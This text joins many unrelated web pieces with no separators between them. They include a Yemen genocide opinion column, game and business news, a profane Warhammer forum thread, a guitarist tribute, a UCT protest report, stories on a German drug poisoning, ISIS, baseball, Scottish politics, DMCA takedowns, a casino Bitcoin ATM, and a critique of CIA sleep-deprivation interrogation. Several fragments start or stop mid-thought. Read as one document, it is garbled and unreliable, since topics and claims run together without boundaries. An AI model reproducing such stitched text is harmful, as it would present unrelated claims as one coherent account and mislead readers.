While it has become quite common to refer to Stalin’s forced famine of Ukraine in the early 1930s, and Mao’s Great Famine of rural Chinese farmers in the late 1950s, as genocides, few if any have begun to speak of Yemen in such terms. Genocide is an expression that is not to be used in polite company -- until the killings begin to taper off. Few people spoke of the Armenian genocide until late in the 20th century, after all. Israelis were even relatively quiet about the Holocaust until they found themselves lording it over others in 1967. More recently in Syria, it was quite uncommon, among even activists supportive of the Syrian revolution, to hear Assad’s war crimes referred to as genocide.
So whatever the nature of the crimes now being committed in Yemen, we should not expect to hear much talk of genocide for years to come. Nevertheless, the pattern of the bombings and their resultant starvation beg the question of whether America is now contributing to a genocide. And the pattern of bombings suggests that the Saudis are deliberately starving Yemenis into submission. One might excuse them for bombing the ports and bridges, but targeting aid warehouses is unusually extreme and blocking food imports is both cruel and completely unnecessary.
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In fairness, there is little reason to believe the Saudis are deliberately attempting to kill off some portion of the Yemeni population. If that is the case, then the forced famine in Yemen -- like the Ukrainian Holodomor and Mao’s Great Famine -- should not technically be classified as a genocide. But with no expression to describe the deliberate murder of millions stronger than “crimes against humanity,” which is ambiguous in both nature and scale, we should prepare for people to describe what is now happening in Yemen as a genocide. If that is the case, we should begin asking whether “the genocide in Yemen” will in the end turn out to be the great crime for which Trump is later remembered.
Given everything we know about President Trump, we cannot expect him to recognize that he may be a party to what is fast shaping up to be perhaps the most brutal genocide of this century. But as the haunting stick figures work their way into our moral imaginations and the death tolls climb higher, the story will break sooner or later.
It is not possible to take part in a forced famine without restraint and not be responsible for it. And with supposedly expert advisers around you, there is no excuse for failing to grasp your own role as a mass murderer. Righteous men have been going off in search of killers only to discover it was they themselves who committed the murder since at least as far back as Oedipus. Leadership is a lesson in self-discovery for even moral exemplars, but it is all the more so for the ignorant and righteous, who blame others while failing to look inside.
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By Sato . December 6, 2016 . 11:30pm
Sony’s new company Forward Works is focusing on the smartphone market, and they’ve announced a new Wild Arms game is in the works, featuring a new story and characters from the series. [Thanks, Game Jouhou.]
Details are light for now, but the new Wild Arms game on smartphone will feature original staff members from the Wild Arms games, including the producer of the first game, and most of the series, Akifumi Kaneko. It’ll feature characters from the series in a brand new story. Perhaps it’ll be a new game following the steps of Star Ocean: Anamnesis, which also has a similar premise.
The world's largest automotive seating supplier will transition its operational headquarters from Milwaukee to metro Detroit in the coming months, said Bruce McDonald, chairman and CEO. Adient is tax domiciled in Dublin, Ireland, but the majority of its C-suite will be based in this area.
McDonald and his team will be located in a new office that the supplier is expected to secure in the next two months. Up to 600 employees will be housed in the new office location, including 100 new hires in legal, accounting, audit and treasury, McDonald said.
JCI's automotive seating business has been based in Milwaukee since 1985.
Adient is also renovating its Plymouth offices on Halyard and Sheldon roads, which house about 1,000 employees, McDonald said.
It will list on the New York Stock Exchange under the ticker ADNT on Oct. 31.
The company is projecting revenue of $16.8 billion to $17 billion for the fiscal year, which started Oct. 1, and adjusted net income of $850 million to $900 million. By domiciling in Ireland, Adient is expected to save millions in taxes with an effective tax rate of 10 percent to 12 percent.
McDonald said spinning off from JCI frees up Adient to reinvest in its seating business and interiors joint ventures, which had lower margins than JCI's building HVAC and automotive battery units.
"... the other businesses were higher margin businesses, so it made sense to take a dollar of capital out of automotive and put into those other two businesses," McDonald said. "(Historically), the growth engine for JCI was the auto business. The company only constrained it in the last few years. We took the oxygen away. The board of directors and leadership team recognized ... JCI was no longer the best owner of that business."
Since announcing the spinoff last year, Adient has worked to grow its contracts and has secured a $5 billion backlog, which is expected to boost revenue in 2019.
"We're No. 1 (auto seating supplier) by a long shot," McDonald said. "We should be the envy of the industry with our customer mix and we're well-positioned with our strengths."
Two "broke" Dunedin students have set up a money-making food operation that sells combos including bacon butties and cigarettes.
On Dunedin's notorious Castle St, University of Otago marketing and communication students Alex Mortimer and Zoe Marshall cook sausages and bacon outside their student flat.
"There aren't many jobs down in Dunedin so we decided to sell food outside," Mortimer said.
HAMISH McNEILLY/FAIRFAX NZ The bacon butties/sausage combos include a can of drink and even a cigarette option.
"We are broke students and we need some money."
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The pair set up on "hungover day" – Friday and Sunday – and spread the word via Facebook.
HAMISH McNEILLY/FAIRFAX NZ The marketing and communication students are saving up for an overseas trip later in the year.
And in possibly a New Zealand first the pair offer a combo with a difference – a bacon buttie/sausage, can of softdrink and cigarette for $5.
Cigarette?
"People always leave them at our flat for some reason, we don't smoke so we put them in a jar," Mortimer said.
"We decided to sell them off . . . I don't think it's legal though."
Under the Smoke-Free Environment Act 1990 it is illegal to sell a tobacco product with a non-tobacco item.
Legalities aside, the pair can sell about 100 bacon butties, which they have dubbed "bacon buddies", on a good day.
The bacon buttie/drink combo were the most popular items.
Marshall said they would branch out and sell hash browns next in a bid to under-sell the nearby McDonald's, which was a popular lunch option for students.
"We will kill their business."
The pair were saving up for an overseas trip later in the year.
Mortimer said when her father was a student he made $1000 on his first day with a sausage sizzle outside the now closed student pub the Gardens Tavern, just down the road on Castle St.
"I'm trying to catch up to that."
Wait, did they forget the Adepta Sororitas? Also, they can just fuck off. Yes, yes… representation is important, but fucking with Warhammer 40k because of feels is idiotic as fuck. The lore is established so damn much already that adding anything out of left field like a gigantic female space marine named Olga is going to send the franchise spiraling into a cluster-fuck of a shitstorm where you have the Veteran fans losing their shit and threatening to pull out, while the edgies begin Internet based campaings where it’s rape and murder 24\7 against some Feminist scourge from the Chaos Gods or whatever the fuck, and then… then you have the lost cause group, beginners, super politically correct, Jesus freaks, furries, and general degenerates who will go over the top in either embracing or trying to combat the change. It’ll probably cause so much crap that the franchise either reverts to core basics and has some endgame crap where it all starts from the beginning, or pulls a “Fuck you, we’re out!” and see it off to Disney or some shit. Seriously, though, the female body can’t handle the organs required by the Adeptus Astartes, if I recall correctly.
snow-anne:
maggotmaster: lmao Löl, it’s all based on the “men are stronger and soldiers needs to be strong” thing. Since the whole strength/build difference lies solely in testosterone, the answer is to just pump ludicrous amounts of testosterone into candidates that don’t have enough of it(they already pump tons of steroids and mutagenic shit into them anyway, what’s a lil’ T in comparison?). And don’t even bring up reproductive organs coz spess mehreens are pretty much sexless anyway. Lore-details can be worked around just fine, the only reason they were made male-only was obviously based on sexism(sci-fi pseudoscientific explanations for it don’t change the original reason for the decision).
http://en.wikipedia.org/wiki/Sex_differences_in_humans
First of all, you nerds need to fucking look up the biological differences in skeletal structure and physiology.
Second, this is fiction.
Get to know it before you push your SJW agenda on it.
http://wh40k.lexicanum.com/wiki/Creation_of_a_Space_Marine#.U4OGwvmSxrU
http://warhammer40k.wikia.com/wiki/Gene-Seed
It’s all about anatomy and being able to survive the initial implantation period.
The very first “Space Marines” were the Primarchs. Which were all males. Created from The Emperor of Mankind’s geneseed.
Another way to think about it is that the gene-science used to create the Primarchs and marines was exceptionally difficult. Neither the Emperor nor a similar powerbroker ever succeeds in replicating the same Primarch -> Geneseed relationship again.
Given how precarious the geneseed mutations of male candidates were found to be, it stands to reason that there simply was not enough expertise to then also create a similar process for female marines. Even before the Heresy it’s well known among the Primarchs, Malcador and the Emperor that several legions possess unstable geneseeds. It’s even hinted that at least one of the two lost legions suffered the fate of expungement due to faulty geneseed. Hence, a process as finicky, and frankly error-prone, as the creation of a space marine probably never gets to the point where the powers that be consider expanding to female subjects.
Also note that the Emperor’s Custodians are also all male. It could simply be that the gene enhancement techniques developed during Terran unification focused only on male physiology too. There was not a need for more warriors so much as an efficient and trusted cadre of super-human ones, the Adeptus Custodes. If so, again the need for investing research and development into female enrollment is not needed when a small number of elite male warriors would suffice.
October 1977 found me in Paris to study classical guitar, and in my first week there I went to a concert featuring the music of Brazilian guitarist Baden Powell. It was at a small theatre featuring Roland Dyens, who at the time was 22 and had just returned from Brazil, where he had spent some time studying this music. It was enthralling to see this music performed live with percussion and bass and I was happy for days having heard it.
A week later I had a rough morning lining up for an audition; the doors opened to the school at 9 am, and all the prospective students had arrived early and lined up around the block. The Ecole Normale de Musique gave us all auditions, and during mine, I noticed Roland at the table of guitar teachers from the school.
At that time, Paris had at least three big classical guitar teachers, and each one of these had a zone of influence. One, a man I will call “L”, was at the Conservatoire National Supérior de Musique. This was the most important music school in the country and L taught a strange way of playing that ruined a generation of guitarists through hand strains. The second zone, where Roland taught was headed by a man I will call “P”. He was widely said to be an outstanding musician, but in concert could never get more than four bars correct before flubbing. It made listening to one of his recitals painful. The other zones of influence included a couple of local conservatoires where exiled Uruguayans taught — I went to one of those.
I cite the above to create a picture of a very stratified system, where a whole lot of control was in a few people’s hands.
A decade or two later, one of my students brings in some very attractive published music composed by Roland. Later, I hear that he is heading up the guitar department at the Conservatoire National Supérior de Musique. I am surprised by that choice because he is a composer and very skilled at some popular music styles.
France has loved the classical guitar for a long time, many of the instrument’s pioneers moved to the city in the early 19th–century, and happily taught to a guitar crazy public. The composer/performer is a special character, listening with a creative rather than judgmental mind. In Roland’s case, he led by concertizing widely and encouraging all those who worked with him. The generation that flourished under his guidance has given France an unprecedented number of fine guitarists.
Roland’s music has sold very well, keeping the French music publishers happy. To contextualize this, here is a note to all the newspapers in France from June 2015 — by the great French film composer Michel Legrand.
‘For 40 years Boulez and his ‘family’ have closed all possibilities for all other composers to be performed. He decided that the musical past would be wiped out and we would start from scratch. He shut the door to all other composers. Composers like me could not have made a living because we had no access to the concert hall.’
Roland’s achievements are all the more remarkable considering that letter. His music would never have been “Boulez approved”, but the guitar is a small market instrument. Most guitar concerts are self-supporting or get a bit of regional money. Somehow, Roland’s music slipped through the cracks and revitalized a generation of guitarists and guitar music lovers. Ironic that the small size of the market created the space for some inspired music to grow and grab a significant market share.
Roland’s great gift to the world was his ability to create bridges between musical idioms. His music included funk bass lines, baiaos and brought some of the most beloved French popular music to the classical guitar.
My personal favourite is his book of jazz arrangements. Over the years I have collected many of these, and have always been disappointed. They may be pretty, but if they are by jazz players they are not quite idiomatic, and if they are by classical players they miss the necessary spontaneity and swing. I was thrilled to see Roland’s versions, solo bits that slash through bar lines, tunes that sing easily over well-voiced chords, intros that surprise and set the mood. Roland Dyens was able to cross musical bridges, to come back and write about it and share the immense joy of it all.
#LUDWIGVAN
The mood at the Rhodes Must Fall protest at the University of Cape Town (UCT) yesterday reflected the message conveyed by the installation set up in front of the Jammie stairs. Lying at the foot of two mounds – or koppies – of household objects and sheets of corrugated iron was a row of body bags. One of the piles was marked “Shackville”, the other, “Marikana”. On top of the “bodies” rested graduation hats.
“Body bags symbolise the social death of people who came to university, and now they’re expelled,” explained Dorfling Mahlabela, a 21-year-old student excluded for outstanding fees. Holding a cardboard placard reading “Expelled”, she said she did not think she would have the financial means to return to UCT next year.
Behind her, a big white banner stretched across the Jammie stairs. At first, despite its prominence, it was difficult to read – aptly perhaps, for the protesters contend that the public is unaware of what is happening. Then, students pulled it up off the ground: in large letters was written, “Death of a Dream”.
The RMF movement has been championing access to education and transformation on campus since March last year. Thursday’s #DeathofDreams protest comes after a court judgment indicted five students on various charges. The university sought legal action against 16 respondents after February’s “Shackville” protest ended in violence.
In her judgment, Judge Allie ruled that the five be precluded from setting foot on UCT property for an indefinite period of time without express permission from Chancellor Max Price. The protesters were also ordered to cover UCT’s legal fees, reportedly amounting to upwards of R250,000.
“UCT is winning,” Mahlabela said, gesturing to the turnout. “They’ve exhausted us with the legal costs. People are scared to protest. No one wants to come out, because literally, it could be you [who could be arrested].
Fellow protester and final-year law student, Luthando Vilakazi, agreed. “[The movement has been] demobilised, since the university exercised its repression and its power against us… Essentially, the university is extending its long arm of repression against students who are powerless.”
Vilakazi says that it’s a misperception that particular individuals have spearheaded the Rhodes Must Fall movement. RMF’s members contend that decisions are taken collectively, and in some cases spontaneously, and that it seeks to represent the most vulnerable students.
“More than anything, the university is just trying to make out that these students are like these masterminds, when that’s not necessarily the case,” Vilakazi says.
She and others stated that they did not have a plan for the future; rather, Thursday’s events were meant as a recognition of what their fellow students were facing, and a means of remobilising among themselves.
Around midday, a small number of students gathered to dance and sing around the Shackeville koppie. As the afternoon wore on, there was an announcement that RMF members would meet later in the evening. The mood remained subdued as the students dispersed.
“For me it was just a shock because it’s really ruining lives,” Vilakazi said. “These were students who were fighting for other students to stay in res, fighting for other students because they couldn’t afford their fees. They were fighting for students to be able to exist on this campus, and now they are being victimised by the university.”
The decision of UCT to take particular students to court has been viewed by some as a deliberate attempt to silence black students.
The university expressly rejected the allegation, saying that it had no factual basis. In a written statement to Daily Maverick Chronicle, UCT’s Communication and Marketing Department stated, “We took this step out of concern for the safety of staff and students, as well as the security of campus property,” adding, “As an institution we encourage students and staff members to initiate legal protest action and they have done so on numerous occasions.”
However, protesters point to inconsistencies in the university’s actions and its version of events: notably the no-show of Vice-Chancellor Max Price during the Shackville protests, and the university’s demolition of the shacks after having allegedly reassured protesters that the shacks would only be moved.
In its statement, UCT said that the Vice-Chancellor “also has a responsibility to other university stakeholders and his schedule needs to accommodate a wide range of meetings and appointments”, adding that the students had rejected the approach of other members of the UCT executive.
Thursday’s protest drew to a close in the early afternoon. Just as one member began to clear away the installation, another stood to announce that an RMF meeting would take place that evening. Tired they may be, but the RMF protesters are not taking the effective expulsion of their peers lying down. DM
Photo: Supporters of the expelled students protest on UCT plaza. By DAILY MAVERICK CHRONICLE.
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At 2:25 p.m. local time, a call for help came in from the convention center. No more than 90 minutes later, 150 first responders including firefighters, Red Cross, emergency medical technicians, poison specialists and police were on scene to deal with what looked a lot like a mass poisoning.
In the end, 30 people were taken to hospital, displaying symptoms ranging from hallucination to breathing difficulties. They were between 25 and 55 years of age.
"Nobody was fatally ill," said Johannes Freudewald, spokesman for the district of Harburg to which Handeloh belongs.
So what was going on?
"What we can say at this point is that amphetamine poisoning was the cause," Freudewald said.
The spokesman stressed it was unclear how the poisoning came about, whether the drugs were taken voluntarily or forced into the system of those affected.
"We won't know for certain until we can question these people, but they're not much in a state for talking," Freudewald said, adding that interviews would start on Saturday morning.
The popularity of methamphetamines is growing sharply in Germany, according to a federal government report issued this year. It said first time users of crystal meth (C10H15N - pictured above) had increased 5 percent compared to last year, and that meth use has been on a "growing trend since 2010 with alarming proportions."
Upon injection or inhalation of crystal meth, huge amounts of the known neurotransmitters serotonin, dopamine and noradrenalin are released, which induce a state of extreme euphoria. At the same time, however, the drug is also extremely addictive, and carries with it a hefty penalty in Germany. If caught with even 10 grams in the country, a person can face a maximum penalty of up to five years in prison.
The change, Beck said, could let non-American players join US teams: "It's like David Beckham coming to LA Galaxy." He said convincing US Immigration and Citizenship Services to offer players pro sports visas was "a long process" that hinged on proving League of Legends can offer people the chance to make a living as professionals. "A lot of people have been dismissive of it because they don't understand the scope of this," he said. "Our viewership numbers are stronger than 80 or 90 percent of the sports covered on ESPN."
ERBIL, Kurdistan Region – A top Dutch ISIS leader running two important posts was gunned down in the neighborhood of Muhandiseen in eastern Mosul, a Kurdish official confirmed.
“On Friday, Taes Bill Monti known as Abu Omer Hollandi, head of ISIS Inghimasi force, meaning the fighters who fight until death, was killed in clashes with the Iraqi army," Saeed Mamuzini, a Kurdistan Democratic Party (KDP) official for Mosul affairs, told Rudaw.
Hollandi, 41, was head of the foreign fighters within ISIS, Mamuzini explained on Friday, noting he was a close associate with Abu Bakir al-Baghdadi, the group's leader.
According to Mamuzini, an estimated 100 to 130 Dutch militants are believed to be fighting for ISIS in Iraq and Syria.
Over the past three months, three other prominent ISIS leaders were killed including Abu Mohammed Adnani from Syria, Abu Bakir Hakim Tunsi from Tunisia and Zeyad Kharufa, he detailed.
A battle to evict ISIS from Mosul is in its 89th day with the Iraqi army, supported by Kurdish Peshmerga forces and Shiite Hashd al-Shaabi paramilitaries, have made giant advances. On Friday, the army made significant advances in the eastern part of the city with the army officials saying the entire left side will be cleared of ISIS militants in the coming days.
After his auto-parts tycoon father dies, the overweight, underachieving son teams up with a snide accountant to try and save the family business.
A chauffeur kidnaps his rich boss's dog to hold it for ransom, but when she accidentally gets the dog back, she thinks that it's the chauffeur who's been kidnapped.
Norm Henderson is an ex-hockey player who was banned from hockey for life for gambling and tax evasion. Now he must do five years of community service as a social worker, or go to prison. ... See full summary »
A gubernatorial candidate hires a wormy special assistant whose only job is to make sure the candidate's well-meaning but incompetent brother doesn't ruin the election.
Mitch and Sam have to come up with $50,000 and fast! The only problem is neither one can hold down a job. Mitch finds a way to money by exploiting the only talents the two have, by opening a "Revenge For Hire" business. Written by Colby Smith <csmith@deltaware.com>
Did You Know?
Trivia This movie came out a few months after This movie came out a few months after Norm MacDonald was fired from Saturday Night Live (1975). When it was out in theaters, none of the shows on NBC were allowed to advertise it. See more
Goofs Before Sam and Mitch enter the house to put fish in it Sam can be seen with a big, black contraption on his back. When they enter the house, it is no where to be seen. Before Sam and Mitch enter the house to put fish in it Sam can be seen with a big, black contraption on his back. When they enter the house, it is no where to be seen. See more
Quotes [ first lines ]
: Hand over the milk money, Weaver.
: I'm afraid I can't do that, Derek. I'm just not sure you'll spend it on milk.
See more » Derek : Hand over the milk money, Weaver. Mitch : I'm afraid I can't do that, Derek. I'm just not sure you'll spend it on milk.
I’d like to just reprint the entire passage, but it’s long and I don’t want to upset anyone. So instead I’ll bullet-point the thing. No, scratch that. I’ll make a list, with numbers for ease of reference later. Trust me. Everything will come out OK in the end.
According to this high-ranking executive,
Article continues below ...
To which Olney responds,
OK, I’ll go ahead and run that particular part:
We talked it out, and I started with this: It’ll never happen. Too many fans are emotionally invested in the numbers built on the tradition of 27 outs: three at-bats for each of nine hitters who make up a team, for 27 outs. Baseball folks like their numbers to fit neatly.
Twenty-seven outs represent a perfect game, and to change that … well, it’s not quite sacrilege, but you might need a constitutional amendment. The opportunity for 27 outs means more at-bats for hitters, and with those at-bats the most notable achievements are created.
Three thousand hits. Five hundred homers. Two hundred hits in a season. None of that could happen if the games were reduced to seven innings, and no era of seven-inning games could be compared with anything that happened in the past, which would be blasphemy for many, many followers of the sport. We know this because of how angry fans were over what they perceived as illicit violations of statistical achievements: Hank Aaron’s record of 755 home runs being broken; Roger Maris’ record of 61 homers being broken.
I think Buster’s concern about the fans is misplaced. I suppose it depends on your definition of “many, many followers of the sport,” but I haven’t actually detected a great deal of ANGRY FANS marching through the streets with BLASPHEMY on their minds. There’s certainly been some anger, but much of that was ginned up by baseball writers who genuinely were (and remain) angry at Mark McGwire and Barry Bonds and their ilk. To many, many writers of the sport, the violations were illicit, but I think it’s misguided for the writers to assume that huge mobs of baseball fans share their disgust.
Granted, there are disgusted fans. But here’s the funny part: The disgusted fans are the older fans, when it’s actually the younger fans that we’re supposedly trying to mollify with shorter (and presumably) quicker games.
See, you can’t have it both ways. And I’m willing to bet pretty good money that your average Millennial doesn’t really care about your 3,000 hits and your 500 homers and your 200 hits in a season or your 755 or your 61. Those are numbers for old dudes like me and Buster who memorized those numbers like people used to memorize Bible verses and Shakespeare sonnets.
What’s more, shortening games to seven innings wouldn’t necessarily make the games more appealing to younger people. Shortening the games to seven innings, in isolation, would create all sorts of other issues. You think there are a lot of strikeouts now? With only seven innings, strikeouts would skyrocket immediately, as starting pitchers would be asked to pitch only three or four innings and managers would use even more hard-throwing relievers with the platoon advantage. Essentially, baseball would become a three-man game: pitcher, hitter and catcher.
Granted, you could easily (theoretically) construct an interesting sport that included seven-inning games. But you would have to institute various measures to help the hitters, including (but not limited to) lowering the mound and somehow limiting pitching changes. And while these measures would probably “work” to varying degrees, getting Major League Baseball and the Players Association to agree on one radical change would be nearly impossible. Let alone all of them.
My personal opinion is that the game should be reinvented, starting with the basics — nine players trying to stop one player from getting around the bases — but reconsidering everything else. You can’t change just one thing, though, because all the things are too closely interrelated. And the decision makers won’t even consider reinventing the game unless it seems to be in real danger.
Which it’s not!
Someday I’ll write more about this somewhere, but I can tell you with 100 percent certitude that the alarmists were saying EXACTLY the same thing about baseball and young people in the 1960s. Howard Cosell, to name just one of many, wrote a long magazine article in which he argued that baseball, without radical changes, would essentially be wiped out by not only professional football, but also basketball and hockey.
He was wrong, and so was everyone else. What Cosell and everyone else didn’t realize is that people in America come to baseball as they age, just as they come to bird-watching and model railroads and dark socks with shorts.
Jim Murphy's latest foray into nationalist territory has been hailed in some surprising quarters. The Hammer of the Nats himself, columnist Alan Cochrane, was full of praise for the Scottish Labour leader's mansion tax grab on London and the South East.
"He's succeeded in proving he's a genuine class warrior", said the Daily Telegraph columnist, "who's not scared of taking on the English."
However, in the very same paper, fellow columnist and London Mayor, Boris Johnson, wasn't having any of it. "He's mugged London" he said, warning that Mr Murphy is playing with fire and fuelling demands for an end to the Barnett Formula.
So, it's Jim Murphy versus the Tory South. We'll take from the London rich to give to the Scottish NHS, he says. Next he'll be saying his favourite film is Braveheart.
Joking aside, there has been an extraordinary reversal of roles since the referendum. Mr Murphy was clearly serious when he said that he was going to stand first and last for Scotland. Where will he stand next? A Scotland-only referendum on Europe? Holyrood to have powers over corporation tax? A Scottish national anthem?
He's certainly not worried about antagonising London Labour any more. His bid to use revenue from the proposed tax on £2 million houses to pay for 1,000 more nurses in Scotland hasn't only left London Tories fuming. The left- wing Labour MP for Hackney, Dianne Abbott, accused him of an "unscrupulous attempt to buy Scottish votes with money expropriated from London". Fellow Labour prospective candidate for London Mayor, Dame Tessa Jowell, said he was trying to use London as a "cash cow".
Labour MP David Lammy, also seeking the Labour nomination, claimed Mr Murphy was trying to "siphon off" money from London which could be used to address what he calls the "desperate problems of overcrowding, poverty and homelessness" in his Tottenham constituency. We tend to think of London as a homeland for Russian oligarchs and dodgy bankers but it also has some of the worst social problems in the UK. Ms Abbott claims that child poverty in London is a third higher than in the rest of England.
"Ferrets in a sack" jeered the SNP's Stewart Hosie, about Labour's new internal "civil war". But it is just a little rich for the SNP to be getting so precious about all of this. After all, Alex Salmond has made a career out of picking fights with Mr Johnson and "London Labour" . They haven't exactly been shy about attacking the south-east of England in the past either for hoarding the wealth of the nation. For SNP supporters to be backing up the Daily Telegraph's fulminations against Mr Murphy's "tax on London" is darkly amusing.
Mind you, nationalists have in the recent past been careful to avoid picking fiscal fights with specific regions of England. This is because Scottish nationalists are only too aware that many in the north of England wouldn't be averse to a wealth tax being applied not just to London, but to Scotland. They say Scotland gets a bit too much of the cake, having the second highest GDP in the UK but also higher public spending per head than the North.
During the referendum campaign, Mr Salmond went to great lengths to assure his friends in the north that Scotland was really on their side. When he complained on BBC's Question Time about the disproportionate level of public infrastructure spending in London, he compared it with the rest of England rather than with Scotland.
In fact, the SNP has largely avoided picking fights directly with England - as opposed to the "Westminster establishment" - since the days of the abortive "It's Scotland's Oil" campaign in the 1970s. Scots didn't like to think of themselves as "grabbing" revenues that many believed should be used for the benefit of the country as a whole. Pooling and sharing. More fool them, you might say now that most of the oil has gone. But it remains the case that Scottish voters don't like to get involved in regional squabbles over resources.
The main problem with the Murphy Tax as it will inevitably be called is that it tries to earmark tax revenues raised in one area of England for a specific use in Scotland, for 1,000 more nurses. What Mr Murphy actually said was: "We will tax houses in London and the south east to pay for the 1,000 new nurses in the Scottish NHS. It's a real win-win for Scotland." That may only have been a rhetorical lapse into the crude anti-English nationalism that the SNP used to peddle. But that doesn't make it insignificant.
He is right, of course, to say that the mansion tax will mainly hit wealthy home owners in the south east. But to suggest that, in some way, he is able to take tax from one part of the UK to spend it in another is provocative and, as an astute politician, he must have known what it would provoke.
Mr Murphy is a former Scottish Secretary and knows anyway that this is not how the Barnett Formula, which calculates Scottish spending, is supposed to work. Scotland doesn't get a percentage of increased taxes raised in England; it gets a percentage of increased public spending in England, which is a crucial difference. Scotland is not subsidised by English taxes, as many Tory MPs claim, but gets a population-based share of increased spending by the UK Government.
Mr Murphy's supporters insist that this difference is academic. If a Labour government finances increases health spending, as Ed Miliband proposes by imposing a mansion tax, then surely consequential increases in Scottish NHS spending will be financed indirectly by the same mansion tax on London and the south east?
But it isn't just academic. The Barnett principle - which Mr Murphy claims to uphold - is designed to obscure regional transfers of wealth and prevent rows like this happening. At the very least it was a serious error in diplomacy.
"It is very regrettable that Labour should use divisive tactics," said Boris Johnson, "setting up one part of the country against another". Many of Mr Murphy's former colleagues in the Better Together campaign will have been nodding silently in agreement with that, while being puzzled at the way things have turned out since the Unionists supposedly won the referendum.
The Murphy plan seems to be to bamboozle the Scottish electorate by being "more nat than the Nats" and to lead them back into the Labour fold by staging confrontations with Labour MPs in other parts of the country. But this "blue on blue" is a risky strategy. Anti-Englishness can be habit forming. If two parties start competing on this same ground, it could validate the "wrong kind of nationalism".
In recent years copyright holders have bombarded Google with DMCA takedown notices, targeting links to pirated content.
These requests have increased dramatically over the years, breaking record after record.
Five years ago the search engine received ‘only’ ten million takedown notices during the entire year, but today it processes the same amount in less than three days.
Data gathered by TorrentFreak from Google’s Transparency Report reveals a new weekly record of 24,119,797 reported pirate links, which is more than twice the number received by Google last year.
The graph below nicely illustrates the continued increase, showing the number of weekly requests over the most recent years.
At the current rate, Google will process more than a billion links in 2016, which would be a hundredfold increase in just five years, with no slowdown in sight.
Reported ‘pirate’ links
Considering our frequent reporting about various takedown related mistakes, it’s worth looking at how many of these reported links actually disappear from search results.
New data made public earlier this month showed that the majority of the links, 91 percent, are ultimately removed. Two percent of the reported URLs are rejected, with the remainder being duplicate or incomplete links.
While rightsholders have increased their takedown efforts over the years, the major entertainment industry groups are not happy with the current state of Google’s takedown process at all.
One of the main complaints has been that content which Google de-lists often reappears under new URLs.
“Every day we have to send new notices to take down the very same links to illegal content we took down the day before. It’s like ‘Groundhog Day’ for takedowns,” RIAA CEO Cary Sherman said previously.
To counter this, rightsholders would like Google to ensure that content “stays down” while blocking the most notorious pirate sites from search results entirely.
Google, however, believes that this will lead to all sorts of problems and maintains that the current system is working as the DMCA was intended.
The search engine did implement various other initiatives to counter piracy, including the downranking of pirate sites and promoting legal options in search results, which it recently detailed in its updated “How Google Fights Piracy” report.
Cassandra Hughes | May 28, 2014 News
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The D Las Vegas Casino Hotel has recently powered up the first Robocoin Bitcoin ATM ever to be found in a casino, marking a significant change in the landscape of the gambling industry.
The D, which partnered with another Las Vegas-based company, Robocoin, now enables casino goers and hotel guests to buy and sell the virtual currency right on the casino floor, another first for the casino that began accepting bitcoins earlier this year.
“We’re proud to be the first casino property to accept Bitcoin and we’re excited to offer our customers the convenience of a Bitcoin ATM,” said Derek Stevens, CEO of The D.
Stevens was joined by Robocoin CEO Jordan Kelley during the launching of the machine, which has been reported to have the capacity of holding more than $500,000 in cash.
Called by Kelley as ‘Lucky No. 7,’ the Robocoin Bitcoin ATM over at The D requires customers to set up a Robocoin account first, which will only take about five minutes. This process involves keying in a phone number for verification purposes, creating of a PIN, swiping of a government-issued ID card, scanning for a palm vein or what they call the ‘biometric authentication,’ and taking of the customer’s picture.
Once an account has been created, customers can, then, exchange BTC to USD and vice versa to pay at the hotel front desk, the gift shop, and in the restaurants using the virtual currency.
The addition of a Bitcoin ATM in The D became possible after the Nevada Gaming Control Board had approved the security of Robocoin transactions and made a clearance for the installation of the machine. However, the board still gave a red light on the use of Bitcoin for gambling.
Meanwhile, The D has experienced an expanded market since it started accepting bitcoins, according to Stevens.
“It’s broadened our target base,” he said. “I wouldn’t even know how the hell to target certain areas of Europe and Asia.”
Moreover, Kelley said the first in-casino Robocoin Bitcoin ATM will significantly change the international gaming market because it will add more value from a gaming perspective.
Although this step does not permit customers to play Bitcoin casino games at The D, it can already be considered a vast improvement for the future of Bitcoin in gambling, given that Kelley had announced at least five machines will be placed even in other casinos before the year ends.
A small detour to the small village Howth, a suburb of Dublin on the peninsula Howth Head which forms the norther boundary of the Dublin Bay.
Enjoying one of the rare sunny days in Ireland.
On a stroll on the peninsula Howth Head. Random fact: Howth Head is the location where Leopold Bloom proposes to Molly in James Joyce’s Ulysses.
Our Troll in his natural habitat (He liked it there).
View to the south with the Dublin Lighthouse in the background.
Waterfall in Guinness Storehouse.
Enjoying his own mini pint of Guinness.
There is nothing like a Guinness! Poster by John Gilroy .
Taking a ride on the old train.
After his small pint he went for the real pint. Dublin (with the typical weather) in the background.
"To claim that 180 hours [of sleep deprivation] is safe in these respects, is nonsense." Dr. James Horne, with the Loughborough University Sleep Research Centre, tells the *Obsidian Wings *blog. "Prolonged stress with sleep deprivation will lead to a physiological exhaustion of the body’s defense mechanisms, physical collapse, and with the potential for various ensuing illnesses."
In their studies, the researchers note, the subjects are well-fed, with ready access to video games and television. The CIA's interrogation sites didn't afford these niceties. And that can have a major impact on the well-being of the sleep-deprived. "It is total nonsense to cite our study in this context," Dr. Bernd Kundermann, a psychiatry professor at the University of Marburg, tells Time. He said using his research to evaluate the CIA program was like using a study about "the transient reactions of a little schnapps" to justify forcing prisoners to "drink large amounts of alcohol."
Dr. S. Hakki Onen, a sleep specialist with the Hôpital Gériatrique A. Charial, notes that subjects under the researchers' care were also allowed to rebound from the long periods of sleeplessness – and regain their strength, in the process. That wasn't the case in the CIA interrogation sites.
"When we treated these patients and restored their sleep, we also increased their pain thresholds. That therapeutic objective of our study is therefore opposite to its application as described in the reports," writes Dr. Onen - whose research, like Dr. Horne and Dr. Kundermann's studies, were cited in the controversial 2005 memo. "In a manner, it's like giving a drug to a patient: if you administer it in small doses for therapeutic reasons, it helps them. If you give it in huge volumes, it becomes toxic — and can even kill them."
In fact, the scientists say, the psychological stress caused by sleeplessness may be more dangerous than the physical impact - despite the lawyers' conclusion that "extended sleep deprivation cannot be expected to cause 'severe mental pain or suffering.'"
After days and days of sleep deprivation, "the mental pain would be all too evident, and arguably worse than physical pain," Dr. Horne notes.
Dr. Kundermann adds, "It can result in psychosis."
According to a newly-declassified report from the Senate Armed Services Committee, sleep deprivation was one of a number of techniques "reverse-engineer[ed]" from the U.S. special forces program to resist interrogation and torture. Other techniques including "sensory deprivation," "slapping," and "waterboarding." But while those "fear based approaches" were generally unreliable," a special forces "Behavioral Science Consultation Team" noted, "psychological stressors such as sleep deprivation, withholding food, isolation, and loss of time were 'extremely effective.'"
